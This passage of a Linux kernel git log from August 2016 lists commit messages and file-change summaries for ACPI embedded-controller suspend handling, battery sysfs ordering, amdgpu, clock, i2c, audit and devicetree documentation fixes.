37 deletions(-) commit aca314efb177274b458f7e72c5ff375c80a5c2d0 Author: hotran Date: Mon Aug 15 17:14:05 2016 -0700 mailbox: pcc: Support HW-Reduced Communication Subspace type 2 ACPI 6.1 has a PCC HW-Reduced Communication Subspace type 2 intended for use on HW-Reduce ACPI Platform, which requires read-modify-write sequence to acknowledge doorbell interrupt. This patch provides the implementation for the Communication Subspace Type 2. Signed-off-by: Hoan Tran Reviewed-by: Prashanth Prakash Signed-off-by: Rafael J. Wysocki drivers/mailbox/pcc.c | 316 ++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 245 insertions(+), 71 deletions(-) commit 12c78ca2ab5e64b636ce085fb08f7685654a5f22 Author: Carlos Garnacho Date: Wed Aug 10 17:24:15 2016 +0200 ACPI / battery: Add sysfs representation after checking _BST Thus move sysfs_add_battery() after acpi_battery_get_state(), which doesn't require the power_supply. Prevents possible hanged tasks if acpi_battery_get_state() fails consistently (and takes a long time in doing so) when called inside acpi_battery_add(). In this situation the battery module first calls sysfs_add_battery(), which creates a power_supply, which spawns an async power_supply_deferred_register_work() task, which shall try to hold the parent battery device mutex (being already held) so this register work is set up after device initialization. If initialization takes long enough the thread will be eventually run and try to hold the mutex before acpi_battery_add() had the chance to finish. Eventually the 5 retries in acpi_battery_update_retry() fail, the error state is propagated, and results in sysfs_remove_battery() being called within the error handling paths of acpi_battery_add(), and the power_supply tear down too. This triggers a cancel_delayed_work_sync() of the deferred_register_work task, which ends up in schedule(). The end result is that the deferred task is blocked trying to acquire the parent device mutex, which is not released because the thread doing initialization (and failure handling) went to sleep awaiting for the deferred task to be cancelled. The hanged tasks look like this: INFO: task kworker/u8:0:6 blocked for more than 120 seconds. ... Call Trace: [] schedule+0x35/0x80 [] schedule_timeout+0x1ec/0x250 [] ? check_preempt_curr+0x52/0x90 [] ? ttwu_do_wakeup+0x19/0xe0 [] wait_for_common+0xc5/0x190 [] ? wake_up_q+0x70/0x70 [] wait_for_completion+0x1d/0x20 [] flush_work+0x111/0x1c0 [] ? flush_workqueue_prep_pwqs+0x1a0/0x1a0 [] __cancel_work_timer+0x9f/0x1d0 [] cancel_delayed_work_sync+0x13/0x20 [] power_supply_unregister+0x37/0xc0 [] sysfs_remove_battery+0x3d/0x52 [battery] [] acpi_battery_add+0x112/0x181 [battery] [] acpi_device_probe+0x54/0x19b [] driver_probe_device+0x22c/0x440 [] __driver_attach+0xd1/0xf0 [] ? driver_probe_device+0x440/0x440 [] bus_for_each_dev+0x6c/0xc0 [] driver_attach+0x1e/0x20 [] bus_add_driver+0x1c3/0x280 [] driver_register+0x60/0xe0 [] acpi_bus_register_driver+0x3b/0x43 [] acpi_battery_init_async+0x1c/0x1e [battery] [] async_run_entry_fn+0x48/0x150 [] process_one_work+0x1e9/0x440 [] worker_thread+0x4b/0x4f0 [] ? process_one_work+0x440/0x440 [] kthread+0xd8/0xf0 [] ret_from_fork+0x1f/0x40 [] ? kthread_worker_fn+0x180/0x180 INFO: task kworker/u8:4:282 blocked for more than 120 seconds. ... Call Trace: [] ? put_prev_entity+0x35/0x8b0 [] schedule+0x35/0x80 [] schedule_preempt_disabled+0xe/0x10 [] __mutex_lock_slowpath+0xb3/0x120 [] mutex_lock+0x1f/0x30 [] power_supply_deferred_register_work+0x2b/0x50 [] process_one_work+0x1e9/0x440 [] worker_thread+0x4b/0x4f0 [] ? process_one_work+0x440/0x440 [] ? process_one_work+0x440/0x440 [] kthread+0xd8/0xf0 [] ret_from_fork+0x1f/0x40 [] ? kthread_worker_fn+0x180/0x180 Making sysfs_add_battery() the last operation here means that the power_supply won't be created yet when the acpi_add_battery() failure handling happens, the deferred task won't even spawn, and sysfs_remove_battery will just skip over the NULL battery->bat. Signed-off-by: Carlos Garnacho Signed-off-by: Rafael J. Wysocki drivers/acpi/battery.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit d30283057ecdf8c543ae757ae34db3d7fd2d7732 Author: Lv Zheng Date: Wed Aug 3 16:01:50 2016 +0800 ACPI / EC: Enable event freeze mode to improve event handling for suspend process This patch enables the event freeze mode, flushing the EC event handling in .suspend() callback. This feature is experimental, if it is bisected out to be the cause of the real issues, please report the issues to the kernel bugzilla for further root causing and improvement. This mode eliminates useless _Qxx handling during the power saving operations, thus can help to tune the power saving operations faster. Tests show that this mode can efficiently block flooding _Qxx during the suspend process and tune the speed of the suspend faster. Signed-off-by: Lv Zheng Tested-by: Todd E Brandt Signed-off-by: Rafael J. Wysocki drivers/acpi/ec.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 39a2a2aa3e9e5538984e9130c92a6c889ad86435 Author: Lv Zheng Date: Wed Aug 3 16:01:43 2016 +0800 ACPI / EC: Add PM operations to improve event handling for suspend process In the original EC driver, though the event handling is not explicitly stopped, the EC driver is actually not able to handle events during the noirq stage as the EC driver is not prepared to handle the EC events in the polling mode. So if there is no advance_transaction() triggered, the EC driver couldn't notice the EC events. However, do we actually need to handle EC events during suspend/resume stage? EC events are mostly useless for the suspend/resume period (key strokes and battery/thermal updates, etc.,), and the useful ones (lid close, power/sleep button press) should have already been delivered to the OSPM to trigger the power saving operations. Thus this patch implements acpi_ec_disable_event() to be a reverse call of acpi_ec_enable_event(), with which, the EC driver is able to stop handling the EC events in a position before entering the noirq stage. Since there are actually 2 choices for us: 1. implement event handling in polling mode; 2. stop event handling before entering noirq stage. And this patch only implements the second choice using .suspend() callback. Thus this is experimental (first choice is better? or different hook position is better?). This patch finally keeps the old behavior by default and prepares a boot parameter to enable this feature. The differences of the event handling availability between the old behavior (this patch is not applied) and the new behavior (this patch is applied) are as follows: !FreezeEvents FreezeEvents before suspend Y Y suspend before EC Y Y suspend after EC Y N suspend_late Y N suspend_noirq Y (actually N) N resume_noirq Y (actually N) N resume_late Y (actually N) N resume before EC Y (actually N) N resume after EC Y Y after resume Y Y Where "actually N" means if there is no EC transactions, the EC driver is actually not able to notice the pending events. We can see that FreezeEvents is the only approach now can actually flush the EC event handling with both query commands and _Qxx evaluations flushed, other modes can only flush the EC event handling with only query commands flushed, _Qxx evaluations occurred after stopping the EC driver may end up failure due to the failure of the EC transaction carried out in the _Qxx control methods. We also can see that this feature should be able to trigger some platform notifications later than resuming other drivers. Signed-off-by: Lv Zheng Tested-by: Todd E Brandt Signed-off-by: Rafael J. Wysocki drivers/acpi/ec.c | 64 ++++++++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 59 insertions(+), 5 deletions(-) commit c2b46d679b30c5c0d7eb47a21085943242bdd8dc Author: Lv Zheng Date: Wed Aug 3 16:01:36 2016 +0800 ACPI / EC: Add PM operations to improve event handling for resume process This patch makes 2 changes: 1. Restore old behavior Originally, EC driver stops handling both events and transactions in acpi_ec_block_transactions(), and restarts to handle transactions in acpi_ec_unblock_transactions_early(), restarts to handle both events and transactions in acpi_ec_unblock_transactions(). While currently, EC driver still stops handling both events and transactions in acpi_ec_block_transactions(), but restarts to handle both events and transactions in acpi_ec_unblock_transactions_early(). This patch tries to restore the old behavior by dropping __acpi_ec_enable_event() from acpi_unblock_transactions_early(). 2. Improve old behavior However this still cannot fix the real issue as both of the acpi_ec_unblock_xxx() functions are invoked in the noirq stage. Since the EC driver actually doesn't implement the event handling in the polling mode, re-enabling the event handling too early in the noirq stage could result in the problem that if there is no triggering source causing advance_transaction() to be invoked, pending SCI_EVT cannot be detected by the EC driver and _Qxx cannot be triggered. It actually makes sense to restart the event handling in any point during resuming after the noirq stage. Just like the boot stage where the event handling is enabled in .add(), this patch further moves acpi_ec_enable_event() to .resume(). After doing that, the following 2 functions can be combined: acpi_ec_unblock_transactions_early()/acpi_ec_unblock_transactions(). The differences of the event handling availability between the old behavior (this patch isn't applied) and the new behavior (this patch is applied) are as follows: !Applied Applied before suspend Y Y suspend before EC Y Y suspend after EC Y Y suspend_late Y Y suspend_noirq Y (actually N) Y (actually N) resume_noirq Y (actually N) Y (actually N) resume_late Y (actually N) Y (actually N) resume before EC Y (actually N) Y (actually N) resume after EC Y (actually N) Y after resume Y (actually N) Y Where "actually N" means if there is no triggering source, the EC driver is actually not able to notice the pending SCI_EVT occurred in the noirq stage. So we can clearly see that this patch has improved the situation. Signed-off-by: Lv Zheng Tested-by: Todd E Brandt Signed-off-by: Rafael J. Wysocki drivers/acpi/ec.c | 26 +++++++++++--------------- drivers/acpi/internal.h | 1 - drivers/acpi/sleep.c | 4 ++-- 3 files changed, 13 insertions(+), 18 deletions(-) commit e923e8e79e18fd6be9162f1be6b99a002e9df2cb Author: Lv Zheng Date: Wed Aug 3 16:01:30 2016 +0800 ACPI / EC: Fix an issue that SCI_EVT cannot be detected after event is enabled After enabling the EC event handling, Linux is still in the noirq stage, if there is no triggering source (EC transaction, GPE STS status), advance_transaction() will not be invoked and SCI_EVT cannot be detected. This patch adds one more triggering source after enabling the EC event handling to poll the pending SCI_EVT. Known issues: 1. Still no SCI_EVT triggering source There could still be no SCI_EVT triggering source after handling the first SCI_EVT (polled by this patch if any). Because after handling the first SCI_EVT, Linux could still be in noirq stage and there could still be no further triggering source in this stage. Then the second SCI_EVT indicated during this stage still cannot be detected by the EC driver. With this improvement applied, it is then possible to move acpi_ec_enable_event() out of the noirq stage to fix this issue (if the first SCI_EVT is handled out of the noirq stage, the follow-up SCI_EVTs should be able to trigger IRQs). Signed-off-by: Lv Zheng Tested-by: Todd E Brandt Signed-off-by: Rafael J. Wysocki drivers/acpi/ec.c | 2 ++ 1 file changed, 2 insertions(+) commit 750f628be68e8b8e1624d8abd003b9f1fc758ed6 Author: Lv Zheng Date: Wed Aug 3 16:01:24 2016 +0800 ACPI / EC: Add EC_FLAGS_QUERY_ENABLED to reveal a hidden logic There is a hidden logic in the EC driver: 1. During boot, EC_FLAGS_QUERY_PENDING is responsible for blocking event handling; 2. During suspend, EC_FLAGS_STARTED is responsible for blocking event handling. This patch uses a new EC_FLAGS_QUERY_ENABLED flag to make this hidden logic explicit and have code cleaned up. No functional change. Signed-off-by: Lv Zheng Tested-by: Todd E Brandt Signed-off-by: Rafael J. Wysocki drivers/acpi/ec.c | 103 +++++++++++++++++++++++++++++++++++++----------------- 1 file changed, 71 insertions(+), 32 deletions(-) commit 478573c93abd369c4850de55c387be43aa01e2e8 Author: Lukas Wunner Date: Thu Jul 28 02:25:41 2016 +0200 driver core: Don't leak secondary fwnode on device removal If device_add_property_set() is called for a device, a secondary fwnode is allocated and assigned to the device but currently not freed once the device is removed. This can be triggered on Apple Macs if a Thunderbolt device is plugged in on boot since Apple's NHI EFI driver sets a number of properties for that device which are leaked on unplug. Signed-off-by: Lukas Wunner Signed-off-by: Rafael J. Wysocki drivers/base/core.c | 1 + 1 file changed, 1 insertion(+) commit daae45caf5a042a0c7d147749ed1e4c970fc86d8 Author: Lukas Wunner Date: Thu Jul 28 02:25:41 2016 +0200 ACPI / bus: Make acpi_get_first_physical_node() public Following the fwnode of a device is currently a one-way road: We provide ACPI_COMPANION() to obtain the fwnode but there's no (public) method to do the reverse. Granted, there may be multiple physical_nodes, but often the first one in the list is sufficient. A handy function to obtain it was introduced with commit 3b95bd160547 ("ACPI: introduce a function to find the first physical device"), but currently it's only available internally. We're about to add an EFI Device Path parser which needs this function. Consider the following device path: ACPI(PNP0A03,0)/PCI(28,2)/PCI(0,0) The PCI root is encoded as an ACPI device in the path, so the parser has to find the corresponding ACPI device, then find its physical node, find the PCI bridge in slot 1c (decimal 28), function 2 below it and finally find the PCI device in slot 0, function 0. To this end, make acpi_get_first_physical_node() public. Signed-off-by: Lukas Wunner Signed-off-by: Rafael J. Wysocki drivers/acpi/internal.h | 1 - include/linux/acpi.h | 7 +++++++ 2 files changed, 7 insertions(+), 1 deletion(-) commit 5839783247f416901ea4571882cb81f8354c9d2a Author: Sebastiaan Schalbroeck Date: Mon Aug 22 22:27:04 2016 +0200 Documentation: devicetree: Fix max77693 spelling errors This patch corrects spelling errors in the max77693 devicetree doc, in particular example code containing typos. Signed-off-by: Sebastiaan Schalbroeck Reviewed-by: Chanwoo Choi Signed-off-by: Rob Herring Documentation/devicetree/bindings/mfd/max77693.txt | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit d305910bbfafc07bc136028f988a161a928a18fd Author: Hans de Goede Date: Thu Aug 11 19:26:25 2016 +0200 dt: bindings: Add binding for ESP8089 wifi chips The ESP8089 chips can mostly be enumerated via their sdio interface, but they are clocked by an external crystal which may differ from one board to the other. This commit adds a binding for the sdio child node for these chips, allowing to specify the external crystal type (for now, this binding could be be extended with e.g. OOB irq support later). The Android driver for this chip uses a text file with key,value pairs which gets loaded as firmware to pass this info to the firmware. The "esp,crystal_26M_en" name is chosen to match the crystal_26M_en key-name in that text file. Note that at this point there only is an out of tree driver for this hardware, there is no clear timeline / path for merging this. Still I believe it would be good to specify the binding for this in tree now, so that any future migration to an in tree driver will not cause compatiblity issues. Cc: Icenowy Zheng Signed-off-by: Hans de Goede Signed-off-by: Rob Herring .../bindings/net/wireless/esp,esp8089.txt | 31 ++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit 9cbbae2a62bce72c17aeb204efeec240f45c4f4f Author: Bharat Kumar Gogada Date: Tue Aug 9 19:30:09 2016 +0530 PCI: Xilinx NWL PCIe: Updating device tree documentation with prefetchable memory space Updating device tree documentation with prefetchable memory sapce. Configuration space shifted to 64-bit address space. Signed-off-by: Bharat Kumar Gogada Acked-by: Rob Herring Signed-off-by: Rob Herring Documentation/devicetree/bindings/pci/xilinx-nwl-pcie.txt | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit c4dcd205ebabe730858fc0f33a6a9a09bcd53452 Author: Guenther Wutz Date: Wed Aug 3 16:11:54 2016 +0200 Documentation: devicetree: spi: fix wrong spi-bus documentation This patch adds missing commas to the spi-bus documentation of the cs-gpio lines. The device tree compiler fails if chip select lines are not comma-separated. Fix the erroneous documentation by adding missing commas. Signed-off-by: Guenther Wutz Signed-off-by: Ralf Ramsauer Signed-off-by: Rob Herring Documentation/devicetree/bindings/spi/spi-bus.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a7654dc33c318e9b4ce3af5072ead768b860f16b Author: Vinay Simha BN Date: Fri Aug 26 08:07:05 2016 +0530 dt-bindings: Add Japan Display Inc vendor id Add vendor id for Japan Display Inc. Cc: Archit Taneja Cc: John Stultz Cc: Thierry Reding Cc: Sumit Semwal Signed-off-by: Vinay Simha BN Signed-off-by: Rob Herring Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit 4a9983d1253d21d4adb4c1f5616d14a03c17ff1f Author: Neil Armstrong Date: Tue Aug 23 13:39:03 2016 +0200 dt-bindings: vendor-prefixes: Add Sierra Wireless Add Sierra Wireless as swir vendor prefix. Signed-off-by: Neil Armstrong Signed-off-by: Rob Herring Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit 13aa2ce4ef633611b0bd90208fc585b7a899732b Author: Rask Ingemann Lambertsen Date: Wed Aug 17 23:32:22 2016 +0200 devicetree: Add vendor prefix for Shenzhen Sunchip Technology Co., Ltd Shenzhen Sunchip Technology Co., Ltd produces TV boxes and TV dongles, some of which are sold under other brands. Website: Signed-off-by: Rask Ingemann Lambertsen Signed-off-by: Rob Herring Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit a24f7253f26d1ece36e6f3d81cb87636f90fd747 Author: Rask Ingemann Lambertsen Date: Fri Aug 19 19:38:42 2016 +0200 devicetree: Sort vendor prefixes in alphabetical order Vendor prefixes should be listed in alphabetical order, which some of them weren't, so this patch corrects that. Signed-off-by: Rask Ingemann Lambertsen Signed-off-by: Rob Herring .../devicetree/bindings/vendor-prefixes.txt | 26 +++++++++++----------- 1 file changed, 13 insertions(+), 13 deletions(-) commit 63b77d6d5a2dad95a9fe0c0459f10f632ae70248 Author: Wolfram Sang Date: Wed Aug 24 15:38:56 2016 +0200 Documentation: devicetree: changesets do locking on their own meanwhile Since commit 183223770ae862 ("drivers/of: Export OF changeset functions"), the mentioned functions do all necessary locking. Signed-off-by: Wolfram Sang Fixes: 183223770ae862 ("drivers/of: Export OF changeset functions") Signed-off-by: Rob Herring Documentation/devicetree/changesets.txt | 19 +++++-------------- 1 file changed, 5 insertions(+), 14 deletions(-) commit 26d721c5f5f1d2b140c6df5a361dcebc8cbf090b Author: Ken Wang Date: Thu Jan 21 17:00:06 2016 +0800 drm/amdgpu: add SI asics types v2 Reviewed-by: Christian König Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/include/amd_shared.h | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 54fe0791fa0dbe075f6465860bdd38a4b4e6e59c Author: Fabio Estevam Date: Tue Aug 30 14:34:01 2016 -0300 clk: imx7d: Add PLL_AUDIO_TEST_DIV/POST_DIV clocks Currently we see the following error when using the SAI audio driver on mx7: Division by zero in kernel. CPU: 0 PID: 1 Comm: swapper/0 Not tainted 4.8.0-rc3-next-20160823 Hardware name: Freescale i.MX7 Dual (Device Tree) Backtrace: [] (dump_backtrace) from [] (show_stack+0x18) r6:60000013 r5:ffffffff r4:00000000 r3:00000000 [] (show_stack) from [] (dump_stack+0xb0/0xe) [] (dump_stack) from [] (__div0+0x18/0x20) r8:00000000 r7:ffffffff r6:ffffffff r5:00000000 r4:00000000 r3:0 [] (__div0) from [] (Ldiv0_64+0x8/0x18) [] (divider_get_val) from [] (clk_divider_se) This error happens due to the lack of definition of the IMX7D_PLL_AUDIO_TEST_DIV/IMX7D_PLL_AUDIO_POST_DIV clocks. Add support for them. Tested on a imx7s-warp board. Signed-off-by: Fabio Estevam Signed-off-by: Stephen Boyd drivers/clk/imx/clk-imx7d.c | 101 ++++++++++++++++++++++++++------------------ 1 file changed, 61 insertions(+), 40 deletions(-) commit c2167a659cc91075417018b88437da86633bb455 Author: Monk Liu Date: Fri Aug 26 14:12:37 2016 +0800 drm/amdgpu:add switch buffer to end of CS (v2) sync switch buffer scheme with windows kmd for gfx v8, step1: append a switch_buffer to the end of CS v2:rebase on latest staging Signed-off-by: Monk Liu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 2 ++ drivers/gpu/drm/amd/amdgpu/amdgpu_ib.c | 2 ++ drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 7 +++++++ 3 files changed, 11 insertions(+) commit 6fc0deaf58f228cb2676453eac3667744477ab62 Author: Tom St Denis Date: Mon Aug 29 08:39:29 2016 -0400 drm/amd/amdgpu: debugfs SMC addresses are byte addresses Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 738d98c994e044cbe326dd27d9bee381b04c5b0a Author: Jordan Lazare Date: Fri Aug 26 17:10:28 2016 -0400 drm/amd/powerplay: Remove unused variable causing compile warning If treating warnings as errors this causes a build error Signed-off-by: Jordan Lazare Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/cz_smumgr.c | 1 - 1 file changed, 1 deletion(-) commit 83667ed69802532cd2f7933b770ddb2a10d5e480 Author: Tom St Denis Date: Fri Aug 26 12:44:01 2016 -0400 drm/amd/powerplay: Only load SDMA0/MEC firmware once on Stoney (v2) Only load the SDMA0/MEC1 firmware once in the Carrizo SMU manager driver. (v2) Avoid loading SDMA0 twice too. Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/cz_smumgr.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit 610ecfd6b4989c9bad40f75d4693bfc5c1aac287 Author: Tom St Denis Date: Fri Aug 26 12:43:14 2016 -0400 drm/amd/powerplay: Fix up return codes in cz SMU manager Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/cz_smumgr.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit a3477255b7e8cd38b5ae6a7ad9d7bec881822453 Author: Tom St Denis Date: Fri Aug 26 12:42:36 2016 -0400 drm/amd/powerplay: Tidy up cz SMU manager Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/cz_smumgr.c | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-) commit b80b13f0cd775669828199ce9b3aee12b9cf8314 Author: Tom St Denis Date: Fri Aug 26 10:29:19 2016 -0400 drm/amd/powerplay: Fix CZ SMU firmware load check (v4) Remove an errant return in the middle of the check function as well as check for success in the start function. (v2) Add return check to smu_load_fw() (v3) Don't return early if SMU load check fails (v4) No returns! :-) Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/cz_smumgr.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 95844d20ae024b5d553c9923a0d3145c3956bf69 Author: Marek Olšák Date: Wed Aug 17 23:49:27 2016 +0200 drm/amdgpu: throttle buffer migrations at CS using a fixed MBps limit (v2) The old mechanism used a per-submission limit that didn't take previous submissions within the same time frame into account. It also filled VRAM slowly when VRAM usage dropped due to a big eviction or buffer deallocation. This new method establishes a configurable MBps limit that is obeyed when VRAM usage is very high. When VRAM usage is not very high, it gives the driver the freedom to fill it quickly. The result is more consistent performance. It can't keep the BO move rate low if lots of evictions are happening due to VRAM fragmentation, or if a big buffer is being migrated. The amdgpu.moverate parameter can be used to set a non-default limit. Measurements can be done to find out which amdgpu.moverate setting gives the best results. Mainly APUs and cards with small VRAM will benefit from this. For F1 2015, anything with 2 GB VRAM or less will benefit. Some benchmark results - F1 2015 (Tonga 2GB): Limit MinFPS AvgFPS Old code: 14 32.6 128 MB/s: 28 41 64 MB/s: 15.5 43 32 MB/s: 28.7 43.4 8 MB/s: 27.8 44.4 8 MB/s: 21.9 42.8 (different run) Random drops in Min FPS can still occur (due to fragmented VRAM?), but the average FPS is much better. 8 MB/s is probably a good limit for this game & the current VRAM management. The random FPS drops are still to be tackled. v2: use a spinlock Signed-off-by: Marek Olšák Acked-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 9 ++ drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 152 ++++++++++++++++++++--------- drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 10 ++ drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 4 + 4 files changed, 127 insertions(+), 48 deletions(-) commit 3174b0c9a62bb3738b4a2a506b8a075d4430e353 Author: Jean-Francois Moine Date: Wed Aug 24 08:32:51 2016 +0200 clk: core: Force setting the phase delay when no change This patch reverts commit 023bd7166be0 ("clk: skip unnecessary set_phase if nothing to do"), fixing two problems: * in some SoCs, the hardware phase delay depends on the rate ratio of the clock and its parent. So, changing this ratio may imply to set new hardware values, even if the logical delay is the same. * when the delay was the same as previously, an error was returned. Signed-off-by: Jean-Francois Moine Fixes: 023bd7166be0 ("clk: skip unnecessary set_phase if nothing to do") Signed-off-by: Stephen Boyd drivers/clk/clk.c | 5 ----- 1 file changed, 5 deletions(-) commit fa2bea2f5cca5b8d4a3e5520d2e8c0ede67ac108 Author: Paul Moore Date: Tue Aug 30 17:19:13 2016 -0400 audit: consistently record PIDs with task_tgid_nr() Unfortunately we record PIDs in audit records using a variety of methods despite the correct way being the use of task_tgid_nr(). This patch converts all of these callers, except for the case of AUDIT_SET in audit_receive_msg() (see the comment in the code). Reported-by: Jeff Vander Stoep Signed-off-by: Paul Moore kernel/audit.c | 8 +++++++- kernel/auditsc.c | 12 ++++++------ security/lsm_audit.c | 4 ++-- 3 files changed, 15 insertions(+), 9 deletions(-) commit b93d3d3739246705dfcebce815b319542cd7fbfb Author: Andy Shevchenko Date: Thu Aug 25 17:42:10 2016 +0300 i2c: core: put literals on one line in dev_*() calls It's better to have strings in the code like they appeared in the output. Signed-off-by: Andy Shevchenko Signed-off-by: Wolfram Sang drivers/i2c/i2c-core.c | 43 +++++++++++++++++++++++-------------------- 1 file changed, 23 insertions(+), 20 deletions(-) commit d1ed7985b9a6b85ea38a330108c51ec83381c01b Author: Peter Rosin Date: Thu Aug 25 23:07:01 2016 +0200 i2c: move locking operations to their own struct This makes it trivial to constify them, so do that. Signed-off-by: Peter Rosin Acked-by: Daniel Vetter Signed-off-by: Wolfram Sang drivers/gpu/drm/drm_dp_helper.c | 10 +++++++--- drivers/i2c/i2c-core.c | 13 ++++++++----- drivers/i2c/i2c-mux.c | 25 ++++++++++++++++--------- include/linux/i2c.h | 25 ++++++++++++++++++------- 4 files changed, 49 insertions(+), 24 deletions(-) commit 270e0c3e1e55440d44f4988194ced499a03c2ac7 Author: Masahiro Yamada Date: Tue Aug 30 08:01:38 2016 +0900 arm64: dts: uniphier: add LD11 SoC/Board support This is a low-cost 64bit SoC from Socionext. Signed-off-by: Masahiro Yamada arch/arm64/boot/dts/socionext/Makefile | 4 +- .../arm64/boot/dts/socionext/uniphier-ld11-ref.dts | 100 ++++++ arch/arm64/boot/dts/socionext/uniphier-ld11.dtsi | 338 +++++++++++++++++++++ 3 files changed, 441 insertions(+), 1 deletion(-) commit 9d4f550590a4563175fff9f24bf017bd2ee5f73d Author: Masahiro Yamada Date: Wed Aug 31 05:40:42 2016 +0900 arm64: dts: uniphier: add specific compatible to SoC-Glue node This is a simple MFD, but add a specific compatible just in case. Signed-off-by: Masahiro Yamada arch/arm64/boot/dts/socionext/uniphier-ld20.dtsi | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit cb1659377c7d5ba68d756b64465d74cfcc14556a Author: Masahiro Yamada Date: Wed Aug 31 05:01:06 2016 +0900 ARM: dts: uniphier: add specific compatible to SoC-Glue node This is a simple MFD, but add a specific compatible just in case. Signed-off-by: Masahiro Yamada arch/arm/boot/dts/uniphier-common32.dtsi | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 238b7bd91b16d5a08326f858db42229b212e53d8 Author: Nicolas Iooss Date: Tue Aug 23 17:13:29 2016 +0200 usb: usbip: vudc: fix left shift overflow In v_recv_cmd_submit(), urb_p->urb->pipe has the type unsigned int (which is 32-bit long on x86_64) but 11<<30 results in a 34-bit integer. Therefore the 2 leading bits are truncated and urb_p->urb->pipe &= ~(11 << 30); has the same meaning as urb_p->urb->pipe &= ~(3 << 30); This second statement seems to be how the code was intended to be written, as PIPE_ constants have values between 0 and 3. The overflow has been detected with a clang warning: drivers/usb/usbip/vudc_rx.c:145:27: warning: signed shift result (0x2C0000000) requires 35 bits to represent, but 'int' only has 32 bits [-Wshift-overflow] urb_p->urb->pipe &= ~(11 << 30); ~~ ^ ~~ Fixes: 79c02cb1fd5c ("usbip: vudc: Add vudc_rx") Signed-off-by: Nicolas Iooss Signed-off-by: Greg Kroah-Hartman drivers/usb/usbip/vudc_rx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 42aee2752cfbd945d845887dcc5209d7cb1231bb Author: Masahiro Yamada Date: Tue Aug 30 07:50:50 2016 +0900 arm64: dts: uniphier: use clock/reset controllers The UniPhier reset controller driver has been merged. Enable it. Also, replace the fixed-rate clocks with the dedicated clock drivers. Signed-off-by: Masahiro Yamada arch/arm64/boot/dts/socionext/uniphier-ld20.dtsi | 80 +++++++++++++++++------- 1 file changed, 58 insertions(+), 22 deletions(-) commit ad0561d46476c34b45be636117cb78ada3586dec Author: Masahiro Yamada Date: Tue Aug 30 19:13:09 2016 +0900 ARM: dts: uniphier: use clock/reset controllers The UniPhier reset controller driver has been merged. Enable it. Also, replace the fixed-rate clocks with the dedicated clock drivers. Signed-off-by: Masahiro Yamada arch/arm/boot/dts/uniphier-common32.dtsi | 53 +++++++++++++++++++++++++--- arch/arm/boot/dts/uniphier-ld4.dtsi | 51 ++++++++++++++++++--------- arch/arm/boot/dts/uniphier-pro4.dtsi | 53 ++++++++++++++++++---------- arch/arm/boot/dts/uniphier-pro5.dtsi | 48 +++++++++++++++---------- arch/arm/boot/dts/uniphier-pxs2.dtsi | 50 ++++++++++++++++---------- arch/arm/boot/dts/uniphier-sld3.dtsi | 60 +++++++++++++++++++++----------- arch/arm/boot/dts/uniphier-sld8.dtsi | 51 ++++++++++++++++++--------- 7 files changed, 254 insertions(+), 112 deletions(-) commit 718917b9875fcfa6450e7274d2727c4680c3591a Author: Jon Hunter Date: Fri Aug 26 14:09:05 2016 +0100 i2c: tegra: Add pinctrl support On Tegra124/132 the pins for I2C6 are shared with the Display Port AUX (DPAUX) channel and on Tegra210 the pins for I2C4 and I2C6 are shared with DPAUX1 and DPAUX0, respectively. The multiplexing of the pins is handled by a register in the DPAUX and so the Tegra DPAUX driver has been updated to register a pinctrl device for managing these pins. The pins for these particular I2C devices are bound to the I2C device prior to probing. However, these I2C devices are in a different power partition to the DPAUX devices that own the pins. Hence, it is desirable to place the pins in the 'idle' state and allow the DPAUX power partition to switch off, when these I2C devices is not in use. Therefore, add calls to place the I2C pins in the 'default' and 'idle' states when the I2C device is runtime resumed and suspended, respectively. Please note that the pinctrl functions that set the state of the pins check to see if the devices has pins associated and will return zero if they do not. Therefore, it is safe to call these pinctrl functions even for I2C devices that do not have any pins associated. Signed-off-by: Jon Hunter Acked-by: Laxman Dewangan Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 1f50ad2c86cdecc223e4098adfc5aa3a4e8d7e49 Author: Jon Hunter Date: Fri 